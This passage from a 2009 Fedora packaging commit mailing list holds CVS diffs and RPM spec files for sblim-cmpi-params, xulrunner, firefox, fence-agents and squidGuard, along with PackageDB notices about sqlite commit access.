%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/sblim-cmpi-params-test.sh
%{_datadir}/sblim-testsuite/cim/Linux_*Parameter.cim
%{_datadir}/sblim-testsuite/system/linux/Linux_*Parameter.system
%{_datadir}/sblim-testsuite/system/linux/Linux_*Parameter.sh

%define PARAMS_SCHEMA %{_datadir}/sblim-cmpi-params/Linux_ABIParameter.mof %{_datadir}/sblim-cmpi-params/Linux_FileSystemParameter.mof  %{_datadir}/sblim-cmpi-params/Linux_KernelParameter.mof %{_datadir}/sblim-cmpi-params/Linux_NetworkCoreParameter.mof %{_datadir}/sblim-cmpi-params/Linux_NetworkIPv4Parameter.mof %{_datadir}/sblim-cmpi-params/Linux_NetworkUnixParameter.mof  %{_datadir}/sblim-cmpi-params/Linux_VirtualMemoryParameter.mof
%define PARAMS_REGISTRATION %{_datadir}/sblim-cmpi-params/Linux_ABIParameter.registration %{_datadir}/sblim-cmpi-params/Linux_FileSystemParameter.registration  %{_datadir}/sblim-cmpi-params/Linux_KernelParameter.registration %{_datadir}/sblim-cmpi-params/Linux_NetworkCoreParameter.registration %{_datadir}/sblim-cmpi-params/Linux_NetworkIPv4Parameter.registration \%{_datadir}/sblim-cmpi-params/Linux_NetworkUnixParameter.registration %{_datadir}/sblim-cmpi-params/Linux_VirtualMemoryParameter.registration

%pre
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-params/provider-register.sh -d \
        -t pegasus -r %{PARAMS_REGISTRATION} -m %{PARAMS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
   %{_datadir}/sblim-cmpi-params/provider-register.sh \
        -t pegasus -r %{PARAMS_REGISTRATION} -m %{PARAMS_SCHEMA} > /dev/null 2>&1 || :;
fi

%preun
if [ $1 -eq 0 ]; then
   %{_datadir}/sblim-cmpi-params/provider-register.sh -d \
        -t pegasus -r %{PARAMS_REGISTRATION} -m %{PARAMS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%changelog
* Mon Jun  1 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.2.6-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-params/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:13:25 -0000	1.1
+++ .cvsignore	27 Oct 2009 11:41:29 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-params-1.2.6.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-params/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:13:25 -0000	1.1
+++ sources	27 Oct 2009 11:41:30 -0000	1.2
@@ -0,0 +1 @@
+159bd76b424fb2d14f3449c35c46393a  sblim-cmpi-params-1.2.6.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct 27 11:46:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 11:46:02 +0000
Subject: [pkgdb] sqlite: kasal has given up commit
Message-ID: <20091027114602.D105D10F880@bastion2.fedora.phx.redhat.com>

kasal has given up the commit acl on sqlite (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sqlite



From pkgdb at fedoraproject.org  Tue Oct 27 11:46:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 11:46:17 +0000
Subject: [pkgdb] sqlite: kasal has given up commit
Message-ID: <20091027114618.1E4A410F87F@bastion2.fedora.phx.redhat.com>

kasal has given up the commit acl on sqlite (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sqlite



From pkgdb at fedoraproject.org  Tue Oct 27 11:46:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 11:46:21 +0000
Subject: [pkgdb] sqlite: kasal has given up commit
Message-ID: <20091027114621.A52AC10F87E@bastion2.fedora.phx.redhat.com>

kasal has given up the commit acl on sqlite (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sqlite



From pkgdb at fedoraproject.org  Tue Oct 27 11:46:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 11:46:24 +0000
Subject: [pkgdb] sqlite: kasal has given up commit
Message-ID: <20091027114624.1564410F89D@bastion2.fedora.phx.redhat.com>

kasal has given up the commit acl on sqlite (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sqlite



From xhorak at fedoraproject.org  Tue Oct 27 11:58:04 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 11:58:04 +0000 (UTC)
Subject: rpms/xulrunner/F-11 xulrunner-mozconfig, 1.26, 1.27 xulrunner.spec, 
	1.167, 1.168
Message-ID: <20091027115804.9E33B11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/xulrunner/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24685

Modified Files:
	xulrunner-mozconfig xulrunner.spec 
Log Message:
Using system sqlite disabled due to sqlite >= 3.6.16 is required and it is missing in F11 repos


Index: xulrunner-mozconfig
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-11/xulrunner-mozconfig,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- xulrunner-mozconfig	30 Jun 2009 21:23:01 -0000	1.26
+++ xulrunner-mozconfig	27 Oct 2009 11:58:04 -0000	1.27
@@ -14,7 +14,7 @@ ac_add_options --with-system-jpeg
 ac_add_options --with-system-zlib
 ac_add_options --with-system-bz2
 ac_add_options --enable-system-hunspell
-ac_add_options --enable-system-sqlite
+#Temporary disabled: ac_add_options --enable-system-sqlite
 ac_add_options --enable-system-cairo
 ac_add_options --with-pthreads
 ac_add_options --disable-strip


Index: xulrunner.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-11/xulrunner.spec,v
retrieving revision 1.167
retrieving revision 1.168
diff -u -p -r1.167 -r1.168
--- xulrunner.spec	27 Oct 2009 07:56:01 -0000	1.167
+++ xulrunner.spec	27 Oct 2009 11:58:04 -0000	1.168
@@ -3,7 +3,7 @@
 %define cairo_version 1.6.0
 %define lcms_version 1.17
 %define freetype_version 2.1.9
-%define sqlite_version 3.6.10
+%define sqlite_version 3.6.16
 %define tarballdir mozilla-1.9.1
 
 %define version_internal  1.9.1
@@ -58,7 +58,7 @@ BuildRequires:  freetype-devel >= %{free
 BuildRequires:  libXt-devel
 BuildRequires:  libXrender-devel
 BuildRequires:  hunspell-devel
-BuildRequires:  sqlite-devel >= %{sqlite_version}
+#Temporary removed, required 3.6.16 which is not in F11 repo yet: BuildRequires:  sqlite-devel >= %{sqlite_version} 
 BuildRequires:  startup-notification-devel
 BuildRequires:  alsa-lib-devel
 
@@ -97,7 +97,7 @@ Requires: freetype-devel >= %{freetype_v
 Requires: libXt-devel
 Requires: libXrender-devel
 Requires: hunspell-devel
-Requires: sqlite-devel >= ${sqlite_version}
+#Temporary removed: Requires: sqlite-devel >= ${sqlite_version}
 Requires: startup-notification-devel
 Requires: alsa-lib-devel
 



From vcrhonek at fedoraproject.org  Tue Oct 27 11:59:59 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 27 Oct 2009 11:59:59 +0000 (UTC)
Subject: rpms/sblim-cmpi-params/F-12
	sblim-cmpi-params-1.2.4-no-abi-params.patch, NONE,
	1.1 sblim-cmpi-params.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091027115959.346B411C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-params/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25261

Modified Files:
	sources 
Added Files:
	sblim-cmpi-params-1.2.4-no-abi-params.patch 
	sblim-cmpi-params.spec 
Log Message:
Initial commit

sblim-cmpi-params-1.2.4-no-abi-params.patch:
 sblim-cmpi-params-test.sh |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sblim-cmpi-params-1.2.4-no-abi-params.patch ---
--- sblim-cmpi-params-1.2.4/test/sblim-cmpi-params-test.sh.no-abi-params	2004-03-28 19:04:31.000000000 -0500
+++ sblim-cmpi-params-1.2.4/test/sblim-cmpi-params-test.sh	2006-07-06 20:27:39.000000000 -0400
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # Test classes
-CLASSNAMES='Linux_KernelParameter Linux_ABIParameter Linux_FileSystemParameter Linux_VirtualMemoryParameter Linux_NetworkCoreParameter Linux_NetworkIPv4Parameter Linux_NetworkUnixParameter'
+CLASSNAMES='Linux_KernelParameter Linux_FileSystemParameter Linux_VirtualMemoryParameter Linux_NetworkCoreParameter Linux_NetworkIPv4Parameter Linux_NetworkUnixParameter'
 
 for CLASSNAME in $CLASSNAMES; do
    echo "Running tests for $CLASSNAME..."


--- NEW FILE sblim-cmpi-params.spec ---
%define tog_pegasus_version 2:2.6.1-1
%define provider_dir %{_libdir}/cmpi

Name:           sblim-cmpi-params
Version:        1.2.6
Release:        1%{?dist}
Summary:        SBLIM params instrumentation

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
Patch0:         sblim-cmpi-params-1.2.4-no-abi-params.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base

%description
Standards Based Linux Instrumentation Params Providers

%package        test
Summary:        SBLIM Params Instrumentation Testcases
Group:          Applications/System
Requires:       sblim-cmpi-params = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description -n sblim-cmpi-params-test
SBLIM Base Params Testcase Files for SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .no-abi-params

%build
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,0755)
%{provider_dir}/*Parameter.so*
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/sblim-cmpi-params-test.sh
%{_datadir}/sblim-testsuite/cim/Linux_*Parameter.cim
%{_datadir}/sblim-testsuite/system/linux/Linux_*Parameter.system
%{_datadir}/sblim-testsuite/system/linux/Linux_*Parameter.sh

%define PARAMS_SCHEMA %{_datadir}/sblim-cmpi-params/Linux_ABIParameter.mof %{_datadir}/sblim-cmpi-params/Linux_FileSystemParameter.mof  %{_datadir}/sblim-cmpi-params/Linux_KernelParameter.mof %{_datadir}/sblim-cmpi-params/Linux_NetworkCoreParameter.mof %{_datadir}/sblim-cmpi-params/Linux_NetworkIPv4Parameter.mof %{_datadir}/sblim-cmpi-params/Linux_NetworkUnixParameter.mof  %{_datadir}/sblim-cmpi-params/Linux_VirtualMemoryParameter.mof
%define PARAMS_REGISTRATION %{_datadir}/sblim-cmpi-params/Linux_ABIParameter.registration %{_datadir}/sblim-cmpi-params/Linux_FileSystemParameter.registration  %{_datadir}/sblim-cmpi-params/Linux_KernelParameter.registration %{_datadir}/sblim-cmpi-params/Linux_NetworkCoreParameter.registration %{_datadir}/sblim-cmpi-params/Linux_NetworkIPv4Parameter.registration \%{_datadir}/sblim-cmpi-params/Linux_NetworkUnixParameter.registration %{_datadir}/sblim-cmpi-params/Linux_VirtualMemoryParameter.registration

%pre
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-params/provider-register.sh -d \
        -t pegasus -r %{PARAMS_REGISTRATION} -m %{PARAMS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
   %{_datadir}/sblim-cmpi-params/provider-register.sh \
        -t pegasus -r %{PARAMS_REGISTRATION} -m %{PARAMS_SCHEMA} > /dev/null 2>&1 || :;
fi

%preun
if [ $1 -eq 0 ]; then
   %{_datadir}/sblim-cmpi-params/provider-register.sh -d \
        -t pegasus -r %{PARAMS_REGISTRATION} -m %{PARAMS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%changelog
* Mon Jun  1 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.2.6-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-params/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:13:25 -0000	1.1
+++ sources	27 Oct 2009 11:59:58 -0000	1.2
@@ -0,0 +1 @@
+159bd76b424fb2d14f3449c35c46393a  sblim-cmpi-params-1.2.6.tar.bz2



From xhorak at fedoraproject.org  Tue Oct 27 12:11:58 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 12:11:58 +0000 (UTC)
Subject: rpms/firefox/devel .cvsignore, 1.100, 1.101 firefox.spec, 1.338,
	1.339 sources, 1.113, 1.114
Message-ID: <20091027121158.BF72811C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/firefox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27953

Modified Files:
	.cvsignore firefox.spec sources 
Log Message:
Update to 3.5.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/devel/.cvsignore,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- .cvsignore	11 Sep 2009 07:07:42 -0000	1.100
+++ .cvsignore	27 Oct 2009 12:11:57 -0000	1.101
@@ -6,3 +6,5 @@ firefox-3.5.2-source.tar.bz2
 firefox-langpacks-3.5.2-20090803.tar.bz2
 firefox-3.5.3-source.tar.bz2
 firefox-langpacks-3.5.3-20090907.tar.bz2
+firefox-3.5.4-source.tar.bz2
+firefox-langpacks-3.5.4-20091026.tar.bz2


Index: firefox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/devel/firefox.spec,v
retrieving revision 1.338
retrieving revision 1.339
diff -u -p -r1.338 -r1.339
--- firefox.spec	11 Sep 2009 07:07:44 -0000	1.338
+++ firefox.spec	27 Oct 2009 12:11:57 -0000	1.339
@@ -5,7 +5,7 @@
 %define mozappdir            %{_libdir}/%{name}-%{internal_version}
 %define tarballdir mozilla-1.9.1
 
-%define xulrunner_version 1.9.1.3-1
+%define xulrunner_version 1.9.1.4-1
 %define internal_version %{version}
 
 %define official_branding    1
@@ -18,7 +18,7 @@
 
 Summary:        Mozilla Firefox Web browser
 Name:           firefox
-Version:        3.5.3
+Version:        3.5.4
 Release:        1%{?dist}
 URL:            http://www.mozilla.org/projects/firefox/
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -30,7 +30,7 @@ Group:          Applications/Internet
 %endif
 Source0:        %{tarball}
 %if %{build_langpacks}
-Source2:        firefox-langpacks-%{version}-20090907.tar.bz2
+Source2:        firefox-langpacks-%{version}-20091026.tar.bz2
 %endif
 Source10:       firefox-mozconfig
 Source11:       firefox-mozconfig-branded
@@ -315,6 +315,7 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{mozappdir}/application.ini
 %dir %{mozappdir}/modules
 %{mozappdir}/modules/distribution.js
+%{mozappdir}/modules/openLocationLastURL.jsm
 %{mozappdir}/.autoreg
 # XXX See if these are needed still
 %{mozappdir}/updater*
@@ -329,6 +330,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 3.5.4-1
+- Update to 3.5.4
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 3.5.3-1
 - Update to 3.5.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/devel/sources,v
retrieving revision 1.113
retrieving revision 1.114
diff -u -p -r1.113 -r1.114
--- sources	11 Sep 2009 07:07:45 -0000	1.113
+++ sources	27 Oct 2009 12:11:57 -0000	1.114
@@ -1,2 +1,2 @@
-ca167e69180ab1230aea0763da270a95  firefox-3.5.3-source.tar.bz2
-66dd2b4e45da33ccb57846e0f9a2cd31  firefox-langpacks-3.5.3-20090907.tar.bz2
+0b6ccb1e50d96b7127a18a69399fcf05  firefox-3.5.4-source.tar.bz2
+b995eeffec0f93bb94a810e1fa77345c  firefox-langpacks-3.5.4-20091026.tar.bz2



From fabbione at fedoraproject.org  Tue Oct 27 12:25:14 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 12:25:14 +0000 (UTC)
Subject: rpms/fence-agents/devel fence-agents.spec,1.19,1.20
Message-ID: <20091027122515.047F111C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30269

Modified Files:
	fence-agents.spec 
Log Message:
Switch to file based Requires: for virsh



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/devel/fence-agents.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- fence-agents.spec	27 Oct 2009 10:41:18 -0000	1.19
+++ fence-agents.spec	27 Oct 2009 12:25:14 -0000	1.20
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -30,11 +30,9 @@ Requires: sg3_utils OpenIPMI telnet open
 Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
-%if 0%{?fedora} >= 12
-Requires: libvirt-client
-%else
-Requires: libvirt
-%endif
+# This is required by fence_virsh. Per discussion on fedora-devel
+# switching from package to file based require.
+Requires: /usr/bin/virsh
 
 ## Setup/build bits
 
@@ -91,6 +89,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-3
+- Switch to file based Requires for virsh
+
 * Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
 - Fix Requires: on libvirt/libvirt-client
 



From fabbione at fedoraproject.org  Tue Oct 27 12:26:56 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 12:26:56 +0000 (UTC)
Subject: rpms/fence-agents/F-12 fence-agents.spec,1.19,1.20
Message-ID: <20091027122656.DE20511C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30496

Modified Files:
	fence-agents.spec 
Log Message:
Switch to file based Requires: for virsh



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-12/fence-agents.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- fence-agents.spec	27 Oct 2009 10:47:51 -0000	1.19
+++ fence-agents.spec	27 Oct 2009 12:26:56 -0000	1.20
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -30,11 +30,9 @@ Requires: sg3_utils OpenIPMI telnet open
 Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
-%if 0%{?fedora} >= 12
-Requires: libvirt-client
-%else
-Requires: libvirt
-%endif
+# This is required by fence_virsh. Per discussion on fedora-devel
+# switching from package to file based require.
+Requires: /usr/bin/virsh
 
 ## Setup/build bits
 
@@ -91,6 +89,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-3
+- Switch to file based Requires for virsh
+
 * Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
 - Fix Requires: on libvirt/libvirt-client
 



From limb at fedoraproject.org  Tue Oct 27 12:29:14 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 27 Oct 2009 12:29:14 +0000 (UTC)
Subject: rpms/squidGuard/EL-5 sources, 1.2, 1.3 squidGuard-paths.patch, 1.1, 
	1.2 squidGuard-perlwarning.patch, 1.1, 1.2 squidGuard.logrotate,
	1.1, 1.2 squidGuard.spec, 1.6, 1.7 squidguard, 1.1, 1.2
Message-ID: <20091027122915.0987011C00E6@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31207

Modified Files:
	sources squidGuard-paths.patch squidGuard-perlwarning.patch 
	squidGuard.logrotate squidGuard.spec squidguard 
Log Message:
Update to latest.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Sep 2005 10:50:41 -0000	1.2
+++ sources	27 Oct 2009 12:29:14 -0000	1.3
@@ -1,2 +1,2 @@
-63190e4c21688a4185cc3c0b62aae970  blacklists.tar.gz
-c6e2e9112fdbda0602656f94c1ce31fd  squidGuard-1.2.0.tar.gz
+de834150998c1386c30feae196f16b06  squidGuard-1.4.tar.gz
+c239622cf8e956a91b198617723c71a4  blacklists.tgz

squidGuard-paths.patch:
 sample.conf.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

Index: squidGuard-paths.patch
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/EL-5/squidGuard-paths.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- squidGuard-paths.patch	6 Sep 2005 10:50:41 -0000	1.1
+++ squidGuard-paths.patch	27 Oct 2009 12:29:14 -0000	1.2
@@ -5,7 +5,7 @@
  #
  
 -dbhome @prefix@/squidGuard/db
--logdir @prefix@/squidGuard/logs
+-logdir @prefix@/squidGuard/log
 +dbhome @sg_dbhome@
 +logdir @sg_logdir@
  

squidGuard-perlwarning.patch:
 squidGuard.cgi.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: squidGuard-perlwarning.patch
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/EL-5/squidGuard-perlwarning.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- squidGuard-perlwarning.patch	9 Sep 2005 12:16:10 -0000	1.1
+++ squidGuard-perlwarning.patch	27 Oct 2009 12:29:14 -0000	1.2
@@ -1,7 +1,7 @@
 --- ./squidGuard-1.2.0/samples/squidGuard.cgi.in.orig   2003-04-12 14:58:38.000000000 -0700
 +++ ./squidGuard-1.2.0/samples/squidGuard.cgi.in    2003-04-12 14:58:59.000000000 -0700
 @@ -1,4 +1,4 @@
--#! @PERL@ -w
+-#! @PERL@  -w
 +#! @PERL@ 
  #
  # Explain to the user that the URL is blocked and by which rule set


Index: squidGuard.logrotate
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/EL-5/squidGuard.logrotate,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- squidGuard.logrotate	6 Sep 2005 10:50:41 -0000	1.1
+++ squidGuard.logrotate	27 Oct 2009 12:29:14 -0000	1.2
@@ -1,5 +1,6 @@
-/var/log/squid/squidGuard.log {
+/var/log/squidGuard/* {
     weekly
+    olddir /var/log/squidGuard/old
     compress
     notifempty
     missingok


Index: squidGuard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/EL-5/squidGuard.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- squidGuard.spec	29 Aug 2007 14:45:13 -0000	1.6
+++ squidGuard.spec	27 Oct 2009 12:29:14 -0000	1.7
@@ -1,3 +1,4 @@
+%define _default_patch_fuzz 2
 # $Id$
 
 %define			_dbtopdir		%{_var}/%{name}
@@ -5,16 +6,16 @@
 %define			_cgibin			/var/www/cgi-bin
 
 Name:			squidGuard
-Version:		1.2.0
-Release:		15%{?dist}
+Version:		1.4
+Release:		8%{?dist}
 Summary:		Filter, redirector and access controller plugin for squid
 
 Group:			System Environment/Daemons
 License:		GPLv2
 
-Source0:		http://ftp.teledanmark.no/pub/www/proxy/%{name}/%{name}-%{version}.tar.gz
+Source0:		http://www.squidguard.org/Downloads/squidGuard-%{version}.tar.gz
 Source1:		squidGuard.logrotate
-Source2:		http://ftp.teledanmark.no/pub/www/proxy/%{name}/contrib/blacklists.tar.gz
+Source2:		http://squidguard.mesd.k12.or.us/blacklists.tgz
 Source3:		http://cuda.port-aransas.k12.tx.us/squid-getlist.html
 
 # K12LTSP stuff
@@ -24,22 +25,26 @@ Source102:		squidguard
 Source103:		transparent-proxying
 
 # SELinux (taken from K12LTSP package)
-Source200:		squidGuard.te
-Source201:		squidGuard.fc
+#Source200:		squidGuard.te
+#Source201:		squidGuard.fc
 
-Patch0:			squidGuard-upstream.patch
-Patch1:			squidGuard-paths.patch
+#Patch0:			squidGuard-upstream.patch
+#Patch1:			squidGuard-paths.patch
 Patch2:			squid-getlist.html.patch
 Patch3:			squidGuard-perlwarning.patch
-Patch4:			squidGuard-sed.patch
+#Patch4:			squidGuard-sed.patch
 Patch5:			squidGuard-makeinstall.patch
+#Patch6:			squidGuard-1.3-SG-2008-06-13.patch
+Patch7:			squidGuard-1.4-20091015.patch
+Patch8:			squidGuard-1.4-20091019.patch
 
 URL:			http://www.squidguard.org/
 
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:	db4-devel, bison, byacc, openldap-devel, flex
+BuildRequires:	bison, byacc, openldap-devel, flex, compat-db46
+#put db4-devel back and remove compat-db46 once release > 1.4
 Requires:		squid
-Requires(post):	%{_bindir}/chcon
+#Requires(post):	%{_bindir}/chcon
 Requires(post):	/sbin/chkconfig
 
 %description
@@ -69,12 +74,15 @@ Neither squidGuard nor Squid can be used
 %prep
 %setup -q
 %{__cp} %{SOURCE3} .
-%patch0 -p1
-%patch1 -p1 -b .paths
+#%patch0 -p1
+#%patch1 -p1 -b .paths
 %patch2 -p0
 %patch3 -p2
-%patch4 -p1
+#%patch4 -p1
 %patch5	-p1
+#%patch6 -p0
+%patch7 -p0
+%patch8 -p0
 
 %{__cp} %{SOURCE100} ./squidGuard.conf.k12ltsp.template
 %{__cp} %{SOURCE101} ./update_squidguard_blacklists.k12ltsp.sh
@@ -82,8 +90,10 @@ Neither squidGuard nor Squid can be used
 %build
 %configure \
 	--with-sg-config=%{_sysconfdir}/squid/squidGuard.conf \
-	--with-sg-logdir=%{_var}/log/squid \
-	--with-sg-dbhome=%{_dbhomedir}
+	--with-sg-logdir=%{_var}/log/squidGuard \
+	--with-sg-dbhome=%{_dbhomedir} \
+	--with-db-inc=%{_includedir}/db4.6.21 \
+	--with-db-lib=%{_libdir}/db4.6.21
 	
 #%{__make} %{?_smp_mflags}
 %{__make}
@@ -95,17 +105,19 @@ popd
 %install
 %{__rm} -rf $RPM_BUILD_ROOT
 
-%{__make} DESTDIR=$RPM_BUILD_ROOT install
+#%{__make} DESTDIR=$RPM_BUILD_ROOT install
+# This broke as of 1.2.1.
+%{__install} -p -D -m 0755 src/squidGuard $RPM_BUILD_ROOT%{_bindir}/squidGuard
 
 %{__install} -p -D -m 0644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/squidGuard
 %{__install} -p -D -m 0644 samples/sample.conf $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
-%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
+%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
 
 # Don't use SOURCE3, but use the allready patched one #165689
 %{__install} -p -D -m 0755 squid-getlist.html $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/squidGuard
 
-%{__install} -p -D %{SOURCE200} $RPM_BUILD_ROOT%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
-%{__install} -p -D %{SOURCE201} $RPM_BUILD_ROOT%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
+#%{__install} -p -D %{SOURCE200} $RPM_BUILD_ROOT%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
+#%{__install} -p -D %{SOURCE201} $RPM_BUILD_ROOT%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
 
